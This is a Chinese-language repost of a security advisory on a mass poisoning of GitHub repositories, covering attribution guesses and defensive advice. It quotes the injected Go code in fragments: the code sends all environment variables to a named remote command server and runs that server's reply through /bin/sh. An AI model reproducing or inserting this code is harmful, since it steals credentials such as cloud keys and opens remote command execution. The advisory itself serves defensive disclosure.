当前位置: 首页 > 后端技术 > Java

GitHub超过35000个开源代码中毒

时间:2023-04-01 19:06:39 Java

事件简介oscs开源安全社区监测到8月3日13:00,一位名叫StephenLacy的工程师在推特上表示,他发现大量仓库在GitHub中被添加恶意代码,被感染文件超过35000个,涉及Go代码、NPM安装脚本、容器镜像配置等。大部分被感染仓库长期未维护,star数和fork数为基本为0。早在2019年就有部分仓库被恶意代码提交,最近10天左右的信息采集和控制指令也有不少仓库被感染服务地址位于俄罗斯15:00左右,GitHub开始清理受影响的仓库,所有受影响的仓库目前都无法访问。由于大部分中毒开源仓库都没有引起重视,预计事件本身的实际影响较小,但攻击方式表明攻击者具有很强的工程利用能力。使用ovz1.j19544519作为关键字可以在GitHub上搜索超过35,000个代码文件。最早提交的恶意代码是在2019年。https://github.com/promonlogicalis/asn1/blob/7bdca06d0edf895069dc25fb60a49c6dae27b916/context.go#L241攻击方式分析目前官方还没有给出事件的具体原因,其中涉及到多个账户,我们猜测可能有以下三种情况:GitHub账户取证抽样统计显示之前有多个中毒账户密码被泄露,因此有可能通过取证获取账户权限GitHubAPIToken泄露攻击者收集公开泄露Token,从而直接操作仓库。攻击者注册了一批马甲账号。攻击者可能注册了一批虚假的马甲账号,模仿真实的项目,然后通过马甲账号发布类似于原仓库的代码。中毒仓库恶意代码分析大部分是go仓库,其中恶意代码如下,本身逻辑比较简单。比较特别的是,除了恶意代码,攻击者还在commit中添加了“逼真的”注释、许可、提交说明等,更容易隐藏恶意代码。攻击者可能会收集原始仓库的commit信息,然后生成类似的结果,比如UpdateREADME.md或者Updatelicensesubmissions匹配代码改动,可见攻击者工程能力强。代码会先尝试获取“e452d6ab”环境变量,如果“e452d6ab”的值为1,则直接结束运行。ifos__.Getenv("e452d6ab")=="1"{return}如果找不到对应的环境变量,设置"e452d6ab"环境变量防止重复执行,然后将当前环境的环境变量转换成一个json格式的变量env。os__.Setenv("e452d6ab","1")env,err:=json__.Marshal(os__.Environ())iferr!=nil{return}然后将相应的环境变量发送给恶意服务器,这可能是它将包含敏感内容,例如AWS访问密钥和加密密钥。res,err:=http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=gojek-engineering&repo=go-multierror","application/json",bytes__.NewBuffer(env))iferr!=nil{return}最后使用sh执行恶意服务器的返回内容,为后续远程控制服务器、长连接、窃取敏感信息等恶意行为做准备。延迟res.Body.Close()body,err:=ioutil__.ReadAll(res.Body)iferr!=nil{return}ifstring(body)!=""{exec__.Command("/bin/sh","-c",string(body)).Start()}}恶意代码中的C&C地址ovz1.j19544519.pr46m.vps.myjino.ru由俄罗斯云服务器厂商Джино提供,因此攻击者位于俄罗斯可能性很大。给开发者的建议目前中毒的仓库已经被GitHub官方删除。这些仓库大多不关心,所以这件事本身的实际影响是比较小的。开发者在使用开源组件时需要注意筛选。从账号安全的角度,开发者需要尽可能开启多因素认证,避免APItoken泄露,防止自己的项目被用来添加恶意代码。情报订阅OSCS(OpenSourceSoftwareSupplyChainSecurityCommunity)以最快最全面的方式发布开源项目的最新安全风险趋势,包括开源组件安全漏洞、事件等信息。同时提供漏洞和中毒情报免费订阅服务。社区用户可以通过配置飞书、钉钉、企业微信机器人,及时获取第一手情报信息:https://www.oscs1024.com/?src=sf具体订阅详见:https://www.oscs1024.com/docs/vuln-warning/intro/?src=sf